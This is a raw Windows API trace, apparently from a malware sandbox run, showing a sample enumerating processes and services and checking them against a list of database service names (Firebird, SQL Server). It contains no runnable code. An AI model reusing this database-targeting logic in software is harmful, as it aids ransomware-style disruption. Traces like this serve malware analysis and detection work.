(lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.992] lstrlenW (lpString="SamSs") returned 5 [0178.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.992] lstrlenW (lpString="Schedule") returned 8 [0178.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.992] lstrlenW (lpString="SecurityHealthService") returned 21 [0178.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0178.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0178.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0178.992] lstrlenW (lpString="SENS") returned 4 [0178.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.993] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.993] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.993] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.993] lstrlenW (lpString="Spooler") returned 7 [0178.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.993] lstrlenW (lpString="StateRepository") returned 15 [0178.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0178.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0178.993] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0178.993] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0178.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0178.993] lstrlenW (lpString="SysMain") returned 7 [0178.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0178.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0178.994] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0178.994] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0178.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0178.994] lstrlenW (lpString="SystemEventsBroker") returned 18 [0178.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.994] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0178.994] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0178.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0178.994] lstrlenW (lpString="Themes") returned 6 [0178.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0178.994] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0178.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0178.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0178.994] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0178.994] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0178.994] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0178.995] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f4 [0179.002] Process32FirstW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.003] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0179.003] lstrlenW (lpString="System") returned 6 [0179.003] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0179.004] lstrlenW (lpString="smss.exe") returned 8 [0179.004] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.005] lstrlenW (lpString="csrss.exe") returned 9 [0179.005] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0179.006] lstrlenW (lpString="wininit.exe") returned 11 [0179.006] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.006] lstrlenW (lpString="csrss.exe") returned 9 [0179.006] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0179.007] lstrlenW (lpString="winlogon.exe") returned 12 [0179.007] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0179.008] lstrlenW (lpString="services.exe") returned 12 [0179.008] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0179.008] lstrlenW (lpString="lsass.exe") returned 9 [0179.009] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.009] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.009] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0179.010] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0179.010] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.011] lstrlenW (lpString="svchost.exe") returned 11 [0179.011] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.011] lstrlenW (lpString="svchost.exe") returned 11 [0179.011] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0179.012] lstrlenW (lpString="dwm.exe") returned 7 [0179.012] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.013] lstrlenW (lpString="svchost.exe") returned 11 [0179.013] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.013] lstrlenW (lpString="svchost.exe") returned 11 [0179.014] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.014] lstrlenW (lpString="svchost.exe") returned 11 [0179.014] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.015] lstrlenW (lpString="svchost.exe") returned 11 [0179.015] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.016] lstrlenW (lpString="svchost.exe") returned 11 [0179.016] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.016] lstrlenW (lpString="svchost.exe") returned 11 [0179.016] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.017] lstrlenW (lpString="svchost.exe") returned 11 [0179.017] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.018] lstrlenW (lpString="svchost.exe") returned 11 [0179.018] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.019] lstrlenW (lpString="svchost.exe") returned 11 [0179.019] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.019] lstrlenW (lpString="svchost.exe") returned 11 [0179.020] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0179.020] lstrlenW (lpString="spoolsv.exe") returned 11 [0179.020] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.021] lstrlenW (lpString="svchost.exe") returned 11 [0179.021] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0179.022] lstrlenW (lpString="audiodg.exe") returned 11 [0179.022] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0179.023] lstrlenW (lpString="sihost.exe") returned 10 [0179.023] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.164] lstrlenW (lpString="svchost.exe") returned 11 [0179.164] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0179.164] lstrlenW (lpString="taskhostw.exe") returned 13 [0179.165] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0179.165] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0179.165] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0179.166] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0179.166] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0179.167] lstrlenW (lpString="Memory Compression") returned 18 [0179.167] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.168] lstrlenW (lpString="explorer.exe") returned 12 [0179.168] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0179.168] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0179.168] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0179.169] lstrlenW (lpString="SearchUI.exe") returned 12 [0179.169] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0179.170] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0179.170] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0179.170] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0179.170] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0179.171] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0179.171] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0179.172] lstrlenW (lpString="consent.exe") returned 11 [0179.172] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0179.172] CloseHandle (hObject=0x4f4) returned 1 [0179.172] Sleep (dwMilliseconds=0x1f4) [0179.772] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e168 [0179.773] EnumServicesStatusExW (in: hSCManager=0x408e168, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0179.773] GetLastError () returned 0xea [0179.773] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0179.773] EnumServicesStatusExW (in: hSCManager=0x408e168, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0179.775] CloseServiceHandle (hSCObject=0x408e168) returned 1 [0179.775] lstrlenW (lpString="Appinfo") returned 7 [0179.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0179.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0179.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0179.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0179.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0179.775] lstrlenW (lpString="AppXSvc") returned 7 [0179.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0179.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0179.775] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0179.775] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0179.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0179.775] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0179.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0179.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0179.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0179.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0179.776] lstrlenW (lpString="Audiosrv") returned 8 [0179.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0179.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0179.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0179.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0179.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0179.776] lstrlenW (lpString="BFE") returned 3 [0179.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0179.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0179.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0179.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0179.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0179.776] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0179.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0179.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0179.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0179.777] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0179.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0179.777] lstrlenW (lpString="CDPSvc") returned 6 [0179.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0179.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0179.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0179.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0179.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0179.777] lstrlenW (lpString="ClickToRunSvc") returned 13 [0179.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0179.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0179.777] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0179.777] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0179.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0179.777] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0179.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0179.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0179.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0179.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0179.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0179.777] 